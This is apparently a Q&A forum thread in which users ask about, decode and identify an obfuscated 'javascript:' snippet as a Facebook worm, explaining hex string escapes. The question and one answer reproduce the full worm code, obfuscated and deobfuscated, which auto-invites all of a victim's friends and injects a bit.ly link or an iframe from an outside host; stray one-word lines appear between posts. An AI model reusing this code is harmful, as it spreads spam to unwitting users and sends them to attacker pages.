Determine whether JavaScript is compiled or not

Question

If a JavaScript code starts like this:

javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...

Then, is it compiled? If so, any way of decompiling it? If it is not compiled, then, how do I read this type of code?

---

How do I make this more readible?

var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
             "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
             "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
             "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
             "\x73\x75\x67\x67\x65\x73\x74",
             "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
             "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
             "\x63\x6C\x69\x63\x6B",
             "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
             "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
             "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
             "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
             "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
             "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));

Diction

FYI, the unobfuscated code can be found here: #2649540 – Mapp

Answer 1

It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").

Ourselves

Answer 2

This looks like obfuscated JavaScript — whoever put it up doesn’t want it to be easily read. Without meaningful variable names, it will be difficult to understand (i.e. what does _0x89f8 mean?).

The string parameters are escaped strings: \x69 is the hex for the character i etc.

Copy-paste the following to your browser console (dev tools) (hit F12) to see how it looks:

"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"

Chances are that the function being called builds up a JavaScript string from the parameters and then calls eval on them.

Shipboard

@Oded: the call to unescape is unnecessary. javascript:alert("\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"); does the same thing. – Shrink

Answer 3

You'll find these on Facebook a LOT. They're usually not this obfuscated though, and normally deal with friend invitations or something along those lines. I hardly ever execute javascript in the address line so I never checked further into any of these.

This means I have no idea if this is malicious...

You can use this http://jsbeautifier.org/ tool to unobfuscate the code auto magically (well, at least partially)...

var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);

becomes....

var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
    fs[variables[10]]();
}, 4000);
void setTimeout(function () {
    SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');

using default settings...

For this one in particular though I had to have access to the FB page to get ALL of the javascript (I'm digging further)...

Thankfully the Wife always asks before executing javascript in the address line (she found the javascript just this evening).

Kris

Verger

Answer 4

No this javascript is not compiled, the "strange" text you see is encoded text. For example \x69 equals the letter i

It's a differant notation for normal letters and other characters (@,/ etc). And used to make text harder to read, or when using strange/unusual characters in strings for example.

The function escape() will go from i to \x69 .As where the function unescape() will go from \x69 back to the letter i.

The above code example is just an array of encoded strings.

Dissuasion

escape will not convert "i" to "\x69". It will, however, convert "&" to "%24". – Shrink

Answer 5

It is an obfuscated JS code.

If something is a JS source code, it is never compiled, even if it looks unreadable.

There are many JS code obfuscators or minimizers exist.

Can you identify which program generated it?

Columniation

Answer 6

This code appears to be part of a facebook worm.

Primer

Answer 7

Well, I have to admit, I was curious enough that I opened a new facebook profile to find out what this thing does...

after reading the un-obfuscated code you can determine that this script will automatically open your Friend's list, and suggest just this Facebook page to all your friends (the amount allowed, of course). Therefor sending out invitations (unknowingly) to all of your friends, which some will undoubtedly continue...

Simply put, don't copy any JavaScript lines without knowing who posted them in the first place. :)

Skippet